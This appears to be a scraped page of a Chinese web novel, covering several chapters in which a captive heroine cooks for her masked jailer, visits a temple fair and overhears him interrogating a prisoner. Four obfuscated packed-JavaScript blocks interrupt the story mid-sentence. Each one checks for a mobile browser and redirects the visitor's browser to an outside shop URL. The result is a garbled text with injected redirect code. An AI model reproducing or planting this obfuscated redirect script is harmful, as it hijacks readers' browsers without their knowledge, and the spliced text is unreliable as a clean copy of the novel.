RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548154|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音就在她耳边,低沉带着磁性,“你伤口刚长好,再挣开了,我可没耐心给你请第二次太医。” 昭阳浑身一僵,果然不敢再乱动,只能任由他抱着,鼻尖发酸,眼前一阵阵发黑,那日突如其来的晕眩感竟然又冒了出来,她闭了闭眼,再睁开时,看江画棠的身影竟慢慢叠成了两个,脑子里好像有什么东西要冲出来,疼得她忍不住闷哼一声。 江画棠察觉到怀中人的不对,连忙收紧手臂扶着她,语气里带上了一点自己都没察觉的紧绷:“怎么了?又头晕了?”他半扶半抱着将人往屋里带,“是不是今日没喝药?华姨说那药每日都不能断。” “你们每日给我喝的,到底是什么东西?”昭阳倒在他怀里,头靠在他肩窝上,疼得整个人都在发颤,这句话几乎是咬着牙挤出来的,“那药腥得恶心,我喝不下。” “忍一忍,”江画棠动作放轻,将人放在床上躺好,转身去外间倒了一杯温水,又从袖袋里摸出一粒乌黑的药丸递过来,“把这颗药吃了,一会儿就不疼了。” 昭阳抬起沉重的眼皮,看着他递到面前的药丸,心里百感交集,他既要拿她当饵,又为何对她这般细致?她张了张嘴,终究还是乖乖张口吞了药,就着他的手喝了半杯温水,压下了喉间的腥气。 药物下肚没片刻,那钻心的疼痛果然慢慢缓了下去,昭阳闭着眼喘了好一会儿,才重新睁开眼,江画棠正坐在床边的椅子上,安安静静地看着她,面具遮住了他的表情,却挡不住那双沉沉的眼睛,那里面的情绪太复杂,昭阳看不清楚,也不敢去看。 “你到底,想让苏无虞拿什么东西来换我?”沉默了许久,昭阳先开了口,“你们俩有仇?他杀了你全家?还是抢了你的心上人?就这么恨?” 江画棠指尖轻轻敲着椅扶手,声音淡淡的:“知道的太多,可不是什么好事。”顿了顿,他又补充道,“等我达成了目的,我自然会放你走,绝不留你。” 昭阳的心猛地一缩,她压下心中的恐惧,轻声道:“绝不留我是什么意思?我就说,你迟早想杀了我吧?那你索性给个痛快得了!别在这儿折磨人。” 江画棠愣了愣,“几时说过要杀你了?”不过,他很快反应过来,昭阳应是误解了自己话中的意思,随即颇有些无奈地扶额,“绝不留你在宅子里,不是要你的命,这下可以放心了?” 话音刚落,还没等昭阳回话,门外就先传来了华姨的声音:“家主,宫里派人来了,说皇上召您即刻进宫,有要事商议。” 江画棠应了一声,起身整理了一下衣摆,回头看了一眼躺在床上的昭阳,轻声道:“你好好歇着,我改日再来看你。”说完便转身大步走了出去,院门轻轻合上,院子里重新恢复了安静,只留枇杷叶被风吹得沙沙响。 昭阳侧过身,望着窗户外渐渐沉下去的夕阳,指尖攥紧了身下的锦被,江画棠,苏无虞,还有莫名其妙的头疼,这一切就像一张密不透风的网,把她牢牢困在了这座西苑里,她不知道未来会是什么样子,只能静静地等着那一天到来。 21. 负伤 就这样,昭阳在这座古朴而宁静的宅院里,继续生活了将近半个月的时光。在华姨无微不至的悉心照料与精心调养下,她身上的各处伤口已经愈合了大半,身体也日渐恢复元气。 每日里,除了必要的休养,便是看看庭院中的花开花落,日子过得简单而平缓。倘若不是那不时毫无预兆袭来的、一阵阵隐隐的头疼偶尔打破这份宁静,如此这般远离尘嚣、有人关怀起居的时光,倒真可称得上是一段难得悠闲而安适的岁月了。 自那日匆匆一别之后,江画棠便仿佛彻底消失了,而昭阳也默契地收敛了所有探询的心思,既不打听关于他的半点音讯,也不向旁人提及他的名讳,只是安然过着属于自己的,难得的平静日子。就在这样一个看似寻常的夜晚,昭阳正准备吹灯歇息,却听见院门外一阵杂乱的脚步声传来。 她心头一跳,将房门打开了半条缝。只见几个黑影簇拥着一道玄色身影匆匆进来,那人半个身子的重量都压在旁边侍卫身上,衣摆上大片大片的深色血迹顺着衣料往下淌,在青石板上落出点点湿痕。 不是神通广大的督主吗?竟也有这般狼狈负伤的样子?看大家伙儿这熟练的架势,想来这位督主受伤,也是家常便饭的事情,昭阳在心中腹诽,看来传闻也不可全信,这世间哪有真的无所不能之人? 此时,华姨回头瞧见站在门口的昭阳,连忙压着声音道:“家主受了伤,我们先给他处理伤口。”众人脚步没停,径直进了院子里平时空置的屋子,里头很快就亮起了灯,人影在窗纸上晃来晃去,到处都是压低了的吩咐声和倒水的轻响。 昭阳站在廊下,几次想回自己的寝屋歇息,但余光瞥见丫鬟端出一盆盆的血水,心里说不清是什么滋味。这个人到底是伤了她的仇人,可这段日子他也没真的为难她,又请了太医给她治伤,想来就连江画棠自己都会觉得,这一切十分矛盾。 不过,说到底这也是一条鲜活的人命,或许在暴虐嗜杀的封建上位者眼里,这算不得什么,但作为一个受过现代教育的都市女性来说,昭阳实在无法做到无动于衷,漠视着生命的流逝,若不然,当初她也不会救下苏无虞了。 再看如今江画棠落得这般光景,昭阳实在无法装作什么都没听见。犹豫了片刻,她还是抬脚走了进去,就见江画棠靠在罗汉床上,半边胳膊都露在外头,伤口深可见骨,暗红色的血还在不停往外渗,华姨拿着白布按着伤口,手都在发颤,旁边的府医手里拿着缝合的针,额头上全是汗。 “我来帮你按住吧,你手不稳。”昭阳走上前,主动接过华姨手里的白布,按在了江画棠伤口的上方,她刻意放轻了力道,却还是感觉到怀中人身子猛地一僵,江画棠抬眼看向她,就连这种时候,他的鬼面具依旧没有摘下,“怎么过来了,不怕?”他的声音,听起来也比往日虚弱了不少。 “我都被你抓来了,还怕什么。”昭阳别开眼,刻意忽略他落在自己脸上的目光,手上攥紧了白布,“快点处理吧,血再流下去,人就没了。” 府医得了助力,连忙动手缝合伤口,屋子里只剩下针线穿过皮肉的细微声响,江画棠自始至终没哼过一声,只有额角的冷汗不停往下掉,昭阳默默抽了帕子,伸手替他擦了擦汗,指尖擦过他额头的时候,能感觉到那一片滚烫。 折腾了大半个时辰,伤口才总算包扎妥当,府医又开了方子,交代了注意事项,就去后厨煮药了,而侍卫和丫鬟们也都守在了院门外,屋子里只剩下昭阳、华姨和江画棠三个人。 华姨端了水过来,叹了口气对着昭阳道:“今晚多亏了姑娘了,本来家主不让我们来吵你,谁知道这血怎么都止不住,我这老骨头实在是顶不住。”她收拾着沾血的布条,随口念叨了一句,“糟了,前些时日蜂蜜似乎用光了。” “蜂蜜?这么晚了,要蜂蜜做什么?”昭阳不解道。 华姨听了这番话,脸上不由得浮现出一抹温和的笑意,“他呀,从小就爱吃甜口,每次受伤了都要喝蜂蜜水,压一压嘴里的药味,这深更半夜的,厨房里也没备着,我吩咐人去外头看看,有没有哪儿可以买一些。” 说者无心听者有意,华姨收拾好东西出去,屋子里就剩下昭阳和江画棠两个人,江画棠闭着眼靠在床头,呼吸还带着几分浅促,昭阳忽然想起前几日,厨房曾送来过一壶牛乳,一个念头在脑海中一闪而过。 “你这是打算往哪儿去呢?”江画棠依然闭着双眼,连眼皮都未曾抬起。昭阳转过身来,冲他微微一笑,语气里带着几分关切与宽慰,“看在你这会儿身上带伤的份上,我特意准备请你尝一样难得的好东西。” “若是需要采买什么,直接交代华姨去办不就行了。”江画棠的声音里透着一股慵懒,似乎连多说几句都觉得费力。 “这样好东西,可不是外面随处就能买到的。”昭阳语气肯定,眼中闪着几分自信的光,“你只管在这儿安心等着,我这就去把要用的材料取来,用不了一会儿,你就能尝到了。” 她找出小炉子架在墙角,又去厨房要了一壶新鲜的牛乳倒进去煮开,随后挖了两大勺糖桂花放进去,最后端来一壶热气腾腾的红茶,滤掉茶叶,将其与牛乳混合搅拌开,在白瓷杯中盛了一盏端到床头。 “我也没什么好东西,华姨说你爱吃甜,我随便弄了点这个,你尝尝?”昭阳把杯子递过去,语气还有点不自然,“没毒,你放心,我现在还不想你死。” 江画棠睁开眼,看着那盏浮着桂香的乳茶,眉梢微微挑了挑,凭他如今在京城的地位,什么山珍海味,美酒佳肴没见过?但说实话,倒是从来没见过这么个吃法,他乖乖探过身,就着她的手喝了一口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548155|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 温热的牛乳带着清甜的桂香,还有一股淡淡的茶香味,不腻不淡,正好压下了嘴里残存的药苦味,他眼睛亮了亮,又喝了一大口,喉结滚动着咽下,才低声道:“这是什么东西,倒是新奇。” “这叫奶茶,”昭阳看着他喝完小半杯,指尖不自觉弯了弯,“见你受了伤,没敢放太多的糖,你要是觉得好喝,等你好了,我再给你做,这奶茶的花样可多着呢,除了不同的茶底,还能放不同的小料。” 江画棠握着她的手腕,把杯子拿过来自己捧着喝,声音放得柔了些:“奶茶?倒确实合口味。”他喝了小半杯,就停下来放在旁边的矮几上,面具边缘沾了冷汗,湿漉漉贴在脸颊上,昭阳看着那一小片湿痕,忍不住开口:“你的面具……不摘下来松一松么?带着闷得慌。” 话刚出口她就后悔了,江画棠在外头从来都是以鬼面示人,想来是有什么不可告人的缘故,她这话说得实在唐突。哪知江画棠沉默了片刻,“怎么?好奇我的长相?”。 “他们都说你长得俊俏”昭阳耳尖微热,连忙摆了摆手解释:“我不是故意打听你的,就是先前在镇上听人说起过。人都有好奇之心,你就当我没说过这话。” “你喜欢他,也是因为他的脸,因为他长得俊俏?”江画棠带着一丝戏谑的口吻,半开玩笑,半认真地问道。 昭阳闻言愣了愣,自然明白他指的是苏无虞,指尖不自觉顿了顿,才缓缓开口:“且不说我喜不喜欢他,我待他好,从来不是因为那张脸,我当初救他,也不是冲着他的长相去的。”她抬起头,迎上江画棠沉沉的目光,“你和他,本来就是不一样的人,走的路不一样,心里装的东西也不一样,没必要放在一起比。” 江画棠指尖轻轻摩挲着白瓷杯的杯壁,低低笑了一声,那笑声里听不出是什么情绪,“哦?不一样?那你说说,我和他哪里不一样。” “他是坦荡光明的君子,你是藏在面具之后的权臣。”昭阳语速平缓,说得直接,没有半分拐弯抹角,“我说的不对?” 江画棠沉默了好一会儿,“如果……用那张君子的脸,做一个权臣呢?”他慢慢抬手,扣住了面具边缘的暗扣,昭阳几乎摒住了呼吸。 这一刹那,她想了很多。 “算了算了!你还是别摘了!”昭阳几乎快要语无伦次起来,“知道太多秘密的人,死得也快,我不好奇了!” 烛火在微风中轻轻摇曳,那温暖的光芒柔和地洒在江画棠所戴的面具上,尤其照亮了面具上那对狰狞的獠牙,光影交错间,更添了几分神秘与阴森的气氛。 “早些歇着吧,伤口别碰水,明日我再给你做奶茶。”昭阳见他不说话,只当他是不高兴了,如今寄人篱下,还是得夹着尾巴做人,于是她识趣地起身收拾了炉子和空杯子,轻声说完便转身离开。 22. 集市 在江画棠受伤休养的那段日子里,昭阳倒是没闲着,虽然这里的食材有限,但好歹也算是能复刻出一部分,自己心心念念的现代美食。当然,作为寄人篱下的“外来人”,昭阳也没有忘记,把这些甜点分享给华姨,和这座宅子真正的主人。 江画棠本就是性子沉得住气的人,对着昭阳变着花样做出来的藕粉桂花糖糕、双皮奶这些新奇吃食,也从不多说什么,只是每次都安安静静吃完。 这一日,昭阳正在厨房里,琢磨着水果舒芙蕾的做法,但见华姨面露难色地走了进来,“宅子里的糖块和牛乳都快用完了,后头京郊村子里送牛乳的农户这几日家中有事,一时半会儿送不来。” “这……早知道前几日,便省着些用了。”昭阳有些泄气,毕竟自己馋这道甜品有些时日了,但少了手机里现成的菜谱攻略,所有的食材比例只能自己慢慢去试,以致于已经一连失败了好几天,“除了农户那儿,外头能买到吗?” “集市上或许有,但我平日里也不常去,一会儿我找负责采买的老李,问问情况吧。”华姨想了想,回答道。 提起集市,昭阳的眼中便不自觉地流露出几分期待与向往的神色。毕竟自从来到京城,虽然衣食无忧,可她却一直被困在这深宅大院之中,如同笼中之鸟,活动范围仅限于这一方天地。莫说是那人声鼎沸的街市了,她甚至连这儿的大门都未曾迈出过一步。 “集市啊……不知道京城的集市,有什么好玩的东西。”昭阳的言语中,不自觉地流露出,对外面世界的好奇与渴望。 “怎么?想出去?”熟悉的声音传来,江画棠不知何时站在了门口,他如今伤好了大半,但依旧戴着那张面具。今日的她只穿了件藏青色的家常直裰,看上去少了几分朝堂上的凛冽戾气,多了几分闲适温润。 然而,昭阳刚想开口作答,唇齿间的话语尚未成形,却被江画棠紧随其后吐出的几个字彻底堵了回去,“过些时日再说。”语气轻描淡写却又不容置喙。 昭阳心里那点儿期待瞬间就落了空,撇了撇嘴,手里搅着面糊的动作都重了几分,低声嘟哝:“不去就不去,我也不是非要去。” 江画棠看着她气鼓鼓垂着脑袋的样子,喉间溢出一声低笑,抬步走了进来,“采买的事就让老李去跑一趟便是,下个月有赶集,若是想出去,那时候还热闹些。” 昭阳猛地抬起头,眼睛亮得像盛了星子,“赶集?你是说,下个月我可以去参加赶集?” “不过去趟集市,又不是放你走。”江画棠倚着厨房的门框,指尖搭在腰间玉带扣上,“别动些小心思,逃走是不可能的。” 华姨在一旁看着,忍不住笑着打圆场:“家主既然这么说了,姑娘就再等等吧,京城的集市热闹得很,还有许多表演,届时可以去散散心。” 自那日后,江画棠似乎又回到了往日的生活,有时连着好几日都不见人影,昭阳倒也落得自在,每日在园子里浇浇花,跟着华姨学做些京城得点心,日子依旧慢悠悠的。 这日傍晚,昭阳正蹲在廊下晒桂花,就听见院门被推开的声音,抬头便看见江画棠提着一个描金的紫檀木盒子站在院门口,玄色官袍上还带着外头的晚风,看着倒比前些日子精神了不少。 “愣着做什么?过来。”他冲着昭阳招了招手,将盒子放在石桌上,打开盒盖,里头铺着一层软缎,一整套水红色的遍地洒金蜀锦裙安静地躺着,领口袖口滚着雪白的狐毛,腰封处绣着缠枝莲,针脚细密,花样雅致,一看就不是凡品。 “这是给我的?”昭阳有些惊讶,伸手摸了摸料子,顺滑柔软,触手生温,确实是上好的蜀锦,不禁让她想起了先前,那块被他留下的白缎子。 “不然还能是给我的?”江画棠倚着柱子笑,“再过三日就是城隍庙会,集市开一整夜,你来了京城这么久,还从没出过这院门,上次答应你的事情,我没忘。” 昭阳愣了愣,这段日子困在宅院里,她嘴上不说,心里其实早有些犯嘀咕,还担心江画棠是不是想赖账,这下闻言几乎是立刻就点了头,眼睛都亮了几分:“太好了!” 三天的光阴转瞬即逝,庙会那日方才日落西山,外头就已经热闹起来,马车停在街巷口,江画棠依旧戴着那张银纹鬼面,穿了件寻常的藏青色锦袍,倒也不扎眼,见昭阳下车,自然而然伸出手来扶了她一把。 昭阳跟着他沿着青石板路往里走,只见街道两侧挂满了红色的灯笼,连绵好几里地,灯火亮得几乎要把天都映红了,两侧小摊一个挨着一个,卖首饰的,卖小吃的,卖玩意儿的,吆喝声此起彼伏,人来人往,摩肩接踵,处处都是烟火气。 长这么大,昭阳还是第一次见这么热闹的古代夜市,眼睛都不够用了,看见糖人的摊子要停下来看,看见卖新鲜莲蓬的要摸一摸,走到卖绒花的摊子前,更是挪不开脚。江画棠也不催,就安安静静跟在她身后,她看中什么,直接掏银子买了递到她手里,没一会儿,昭阳手里就抱了一大堆零零碎碎的小东西。 “这个梅花酥好吃吗?”昭阳站在小吃摊前,盯着金黄酥脆的梅花酥咽了咽口水,江画棠直接包了半袋递给她,“你尝尝,要是爱吃,咱们再买。”昭阳咬了一口,酥皮掉了一身,甜香不腻,她眼睛弯起来,递了一块到江画棠嘴边:“你也尝尝,真的好吃。” 江画棠愣了愣,低头就着她的手咬了一口,甜香在嘴里散开,他看着昭阳沾了点酥皮在唇角,忍不住伸手替她拂掉,指尖擦过她柔软的皮肤,两个人都顿了顿,昭阳连忙转开脸,假装去看旁边的走马灯,耳尖悄悄红了。 然而,此刻的昭阳全然未曾料想到,就在与她仅仅相隔一条街道的另一侧,有一个身影正徘徊着向前,仿佛迷失了方向,又像是被某种沉重的心事所缠绕,每一步都显得那么迟疑而无力。 喧闹的集市另一头,苏无虞静静地站立着,他身着一件略显陈旧的月白色长衫,衣摆在微风中轻轻飘动。原本那张俊朗清秀的面容,此刻却笼罩着一层深深的疲惫与忧郁,眼窝微微凹陷,嘴角紧抿,透露出难以掩饰的憔悴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548156|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之色。 周围人群熙熙攘攘,到处是欢声笑语,一张张脸上洋溢着节日的喜悦或日常的满足,热闹的气氛仿佛将每个人都包裹其中。然而,在这片充满生机的景象里,苏无虞却像是一个孤独的剪影,与周遭的欢快格格不入,仿佛有一道无形的屏障将他与这喧闹的世界隔开。 陆仁秉站在他身后,抻着脖子往人堆里望,嘴里还念叨着:“你说那戴面具的到底是什么人,这把昭阳姑娘藏哪儿去了,咱们找了这么久,连半点消息都没有。” 苏无虞没接话,只是目光沉沉地扫过攒动的人群,指尖攥得发白,自从离开乡间,他一路寻来京城,盘缠快要耗尽,还是半点昭阳的音讯都没有,方才听见路人说城隍庙会热闹,想着或许能在这里碰一碰,却只觉得满街的人声都像是隔着一层雾,听不真切。 “京城可不比咱们那儿,”陆仁秉挠了挠头,又嘀咕道,“你说咱们之前找的那处宅子,到底住的什么人?若真是那面具人的住处,如此宅邸,想来定是身份尊贵,咱们可千万别乱闯,没的小命不保。” 苏无虞缓缓闭上眼,深吸了一口气,才哑着嗓子开口:“陆兄,我不想连累你,只不过于我而言,不管是谁,我都要把昭阳找回来。她当初救了我,我不可能把她丢在这里不管。”话音刚落,不远处忽然传来一阵熟悉的笑声,清脆灵动,像一簇暖光撞进他心里,他猛地睁开眼,顺着声音的方向望过去。 隔着层层人流,他依稀看见不远处的花灯摊前,一个着水红色蜀锦裙的姑娘正仰头笑,手里举着一盏兔子灯,身侧站着个戴银纹鬼面的男子,微微垂着头听她说话,姿态说不出的柔和。 那身影,分明就是昭阳。 苏无虞只觉得浑身的血液都在这一瞬间冻住了,又跟着猛地冲上头,他几乎是下意识就要抬脚往那边走,却被陆仁秉一把拽住了手腕,“怎么了?” 苏无虞挣了一下,“那是昭阳,我看见她了,她就在那儿。” “哪有?”陆仁秉回头问他,“你是日有所思,夜有所梦吧,这集市上人那么多,有姑娘身形与昭阳妹子相似,也是情理之中的。” 任凭陆仁秉如何苦口婆心地劝说,苏无虞依然坚信自己刚才绝对没有看错。他固执地认为,那抹熟悉的红色身影一定就在眼前,于是不顾一切地奋力拨开层层叠叠的人群,试图挤上前去确认。 然而,就在他拼命向前冲的同时,那抹鲜艳的红色却如同幻影一般,迅速消失在了熙熙攘攘的人海之中。无论他如何焦急地大声呼唤,声音都被周围的嘈杂所淹没,得不到任何回应,一切努力都徒劳无功。 而此时的昭阳,心中忽然涌起一阵莫名的悸动,仿佛有一道无形的视线正落在她的身上,让她不由自主地微微一颤,她下意识地回过头张望。 “怎么了?”江画棠看着眼前人,脸上浮现出一丝困惑的神情。 “没什么,”昭阳轻轻摇了摇头,“刚才恍惚间好像听见有人在叫我的名字,大概是我一时走神,不小心听错了吧。” 23. 暗室 昭阳捧着刚晾好的茉莉奶冻,指尖还沾着点儿瓷盘沁出来的潮气,听丫鬟们提起,江画棠今日没有出门,人一大早便进了书房,一直没出来,于是想着送些过来让他尝尝。 “奇怪?不在吗?”昭阳站在门口,轻声叩了几下门,门是虚掩着的,等了许久,却始终没听见里头有动静。 昭阳不由得低下头看着手中的托盘,香甜的奶味,混杂着茉莉花的清新,如此美味的甜品,罢了,算他没有口福吧,她在心底腹诽着。 昭阳原本已经打算转身离开,却在那一刹那,仿佛被某种无形的力量牵引着,脑海中突然闪过一则曾经浏览过的新闻。那则新闻讲述的是某知名大型企业的员工,因为长期承受高强度的工作压力,没日没夜地加班加点,最终竟在自己的办公岗位上猝然离世。 这个回忆让她心头莫名一紧,不由得生出几分不安。昭阳下意识地将目光投向那扇紧闭的木门,眼神里流露出一丝忧虑和迟疑。她不禁暗自思忖,江画棠他……好像和当代牛马比,有过之而不及,他应该不会这么倒霉吧? 这个念头虽一闪而过,却让她原本要离开的脚步变得有些沉重起来。犹豫再三,她复又转身,试着去触碰那扇门。 然而推门一看,昭阳却有些意外,书房里竟空无一人,书案上只摊着半卷未看完的公文,狼毫笔搁在砚台上,墨迹还新着,“嗯?难不成是出去了?” 她便将奶冻轻轻放在书案靠窗的位置,怕窗台上的灰落进去,又顺手抽了案边一张干净的桑皮纸盖着,指尖扫过书案边缘时,不料碰到一块微微凹陷下去的木块,触感和周围平整的桌面不太一样。 昭阳心里好奇,忍不住用指尖按了按,那木块竟顺着力道往下沉了半寸,紧接着就听见墙根处传来一阵沉闷的“咔哒”轻响,原本贴着一副远山图的墙面缓缓向两边分开,露出一人高的黑黢黢入口,一股带着霉味的冷风从里头吹出来,吹得案上的纸页哗哗翻了好几页。 昭阳吓了一跳,往后退了半步,撞到了靠窗的博古架,架子上的青瓷瓶晃了晃,她连忙伸手扶住,心跳得咚咚快。 她明明知道这定然是江画棠的私秘之处,不小心闯进来已经不对,更不该再往里走,可脚却像钉在了原地,好奇心像藤蔓一样缠上来,她犹豫了好一会儿,还是忍不住就着外头透进来的天光,扶着墙慢慢走了进去。 暗室里没点灯,越往里头走越黑,墙角摆着几个巨大的木箱子,有些落了锁,有些则空置着,在正中央的石桌上还摆着一卷摊开的纸,昭阳眯着眼睛走近,才看清那上面画着几个怪异的符号,其中有些还被圈起来画上了叉。 昭阳看了半天,也没有琢磨出其中的深意,只不过让她有些意外,这里依旧没有江画棠的身影,不过这间屋子的布置却十分奇怪,玩过几次密室逃脱的昭阳,不禁浮想联翩,这里该不会还联通着其他暗室吧? 于是,昭阳开始摸索了起来。 她的指尖顺着冰冷的石壁一点点划过,经过好一番查探,终于找到了一处暗格,而那暗格里头,则有一处石制的机关,昭阳试着去旋转机关,但毫无章法的拨动,似乎并不能打开这处机关。 然而,就在昭阳打算放弃,离开暗室的时候,却听左侧的石壁里头似乎传来了动静。 糟糕!难道是江画棠在石壁后面?一旦被他察觉到自己的踪迹,后果简直不堪设想。想到这里,昭阳心中顿时警铃大作,来不及细想,她目光迅速扫视四周,急切地寻找可以藏身的地方。 就在这时,她瞥见角落里那几个空置的木箱子,其中一只看起来大小合适,且位置较为隐蔽。昭阳毫不犹豫,一个箭步冲了过去掀开箱盖,整个人蜷缩着钻了进去,随后小心翼翼地将箱盖合拢,只留下一条细微的缝隙用于观察外面的动静。 很快,石壁门被打开,率先走出来的,是两个身穿黑色劲装的男人,看他们的穿着打扮,很快就让昭阳想起了,曾经陆仁秉提起过的缉事厂。 然而,昭阳还来不及多想,就见这二人当中,还有一个蓬头垢面的人被架着朝前走。那人衣衫上还沾着暗褐色的血渍,头被死死按低着,看不清脸,只能听见他粗重的喘息声。 两个黑衣男子将人扔在石桌旁,一人垂手站在旁边,一人则在桌子旁翻找着什么,昭阳的心瞬间提到了嗓子眼,他们应该不会发现自己吧? 片刻后,江画棠从石壁后的暗门里走出来,玄色的常服上沾了点暗红,他摘了手上的鹿皮手套,随手扔在石桌上,声音冷得像淬了冰:“不说的话,就剁碎了喂狗吧。” 被绑着的人抬起头,啐了一口带血的唾沫,头发缝隙里露出的眼睛狠得像狼:“江画棠,你祸乱朝纲,陷害忠良,迟早有人取你狗命!” 昭阳躲在木箱里,大气都不敢出,指尖攥得紧紧的,后背几乎快要被冷汗浸湿,她还是第一次见这样的江画棠,或许是习惯了白日里那个会替她拂掉酥皮、笑着给她买东西的男人,昭阳差点就要忘了,这张鬼面之下,可是令人闻风丧胆的缉事厂钦差总督。 江画棠也不恼,指尖敲了敲石桌上那张画着符号的纸,声音依旧冷得刺骨:“漕运的账,你们藏在哪儿?” 那人脸色瞬间变了,额头上青筋暴起:“江画棠你冲我来!动我的家人算什么本事!” “动你的家人?”江画棠低笑一声,那笑声里没有半分温度,“你跟着裴自成干那些勾当的时候,可有想过,被你害过的人,他们也有家人?我给过你机会,是你自己不珍惜。”他站起身,理了理衣摆上不存在的褶皱,对旁边的黑衣汉子吩咐道,“去把人接来,就在这儿处理,让他看着。” 那人目眦欲裂,疯了一样想要扑过来,却被黑衣人死死按在地上,喉咙里发出嗬嗬的怒号:“江画棠!你这个恶魔!我做鬼也不会放过你!” 昭阳躲在木箱里,只觉得浑身发冷,连呼吸都不敢大声,她从来不知道,江画棠竟然狠辣到这个地步,正如那青面獠牙的面具一般,仿佛是地狱走来的修罗。 原来那些传言都是真的,昭阳不禁自嘲,他本就是缉事厂的督主,手上哪会干净?只不过是先前未曾亲眼所见,一直不愿去细想罢了。 就在这时,箱盖忽然被她衣角勾得动了动,发出一声极轻的吱呀响。 这声响在安静的暗室里格外清晰,那两人瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548157|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了过来:“谁在那儿!” 昭阳的心一下子沉到了底,连心跳都停了半拍,她死死咬着唇,不敢发出半点儿声音,只听见自己的耳膜嗡嗡作响。 江画棠的目光也转了过来,脚步声朝着木箱的方向走过来,每一步都像是踩在昭阳的心尖上,她甚至能听见自己越来越响的心跳声,仿佛下一秒就要从喉咙里跳出来。 “没什么,”江画棠的语气平淡如水,听不出丝毫的情绪波动,脚步声却没有再靠近,“把他拖出去带走。” 很快,暗室内的喧嚣与混乱终于彻底平息下来,一切都重新回归了寂静与安宁。昭阳紧绷的心弦这才稍稍放松下来,长长地舒了一口气。方才那番极度的紧张与恐慌,几乎耗尽了她全部的力气,此刻只觉得四肢酸软、浑身虚脱。 她瘫坐在原地,静静地喘息着,努力平复剧烈的心跳和急促的呼吸,就这样一动不动地缓了许久,直到感觉恢复了一些气力,才勉强支撑着身体,慢慢从那个狭窄隐蔽的木箱子里爬了出来。 暗室内只剩下昏黄的灯光在微弱地摇曳,那光线勉强勾勒出房间的轮廓,却衬得地上那摊暗红色的血迹愈发显得刺目而可怖。昭阳只觉得一股寒意从脚底直窜上脊梁,后背阵阵发麻。她的脑海里一片混乱,但唯独有一个念头异常清晰,那就是必须马上逃离这个令人窒息的地方,一刻也不能再多停留。 只不过,一个更为棘手的问题突然摆在了她的面前。刚才她完全是依靠书房中隐藏的机关,才侥幸打开了通往这间暗室的秘密之门,然而现在,当她眼下需要离开时,却发现情况完全不同了。 暗室内部看起来封闭而孤立,没有任何明显的出口或提示,四周的墙壁光滑而坚固,仿佛与外界完全隔绝,方才的那道机关,也依旧没有找到破解之法。她不禁开始焦虑地环顾四周,心中充满了不安:自己似乎被困在这里了。 这个突如其来的困境,让她原本稍微放松的心情再次紧绷起来。 不知过了多久,昭阳似乎已经完全失去了对时间流逝的清晰感知,她不知道自己被困了多久,只知道眼前的景象让她心惊——烛台上已经凝结堆积了厚厚一层蜡油,原本粗壮的蜡烛此刻只剩下短短一截,微弱摇曳的火苗在空气中显得愈发飘忽不定。 一想到这最后的光源即将熄灭,这里将彻底被无边无际、令人窒息的黑暗所吞噬,她内心的恐惧便如同决堤的洪水,再也无法抑制,瞬间淹没了她所有的理智与镇定。在极度的恐慌与绝望中,她几乎是本能地伸出双手,开始用力地、近乎疯狂地拍打着冰冷而坚硬的石壁,手掌拍击在粗糙石面上发出沉闷的响声,她心中唯一的念头就是这声音或许能穿透厚重的障碍,吸引到外面哪怕一丝一毫的注意。 此时此刻,她已经顾不得其他,所有的担忧都被抛诸脑后,当下唯一的愿望,便是快点离开这里。 不知是否因为自己此刻的情绪过于激烈,都说屋漏偏逢连夜雨,那久违的的头痛感再次毫无征兆地袭来,如同冰冷的铁箍紧紧勒住她的太阳穴。昭阳只觉眼前骤然一黑,昏黄的光景瞬间褪去唯一的色彩,意识像断线的风筝般消散,她彻底失去了知觉…… 24. 杀生 等昭阳再次醒来的时候,发现自己正躺在一张陌生的床上,被子里还带着阳光晒过的皂角香,头顶是素色的纱帐,鼻尖萦绕着淡淡的药草味,她愣了好一会儿才缓过神,挣扎着想要坐起来,却发现浑身软得没有力气,头也还在隐隐发沉。 “醒了?”熟悉的声音在身侧响起,昭阳猛地转头,就看见江画棠坐在床边的圈椅上,手里端着一碗黑漆漆的药,还是那副温润俊秀的模样,仿佛暗室里那个浑身淬冰的人只是她一场噩梦。 她下意识地往床里缩了缩,后背紧紧贴住墙壁,指尖攥着锦被的边缘,连声音都带着刚醒的微哑:“你……” 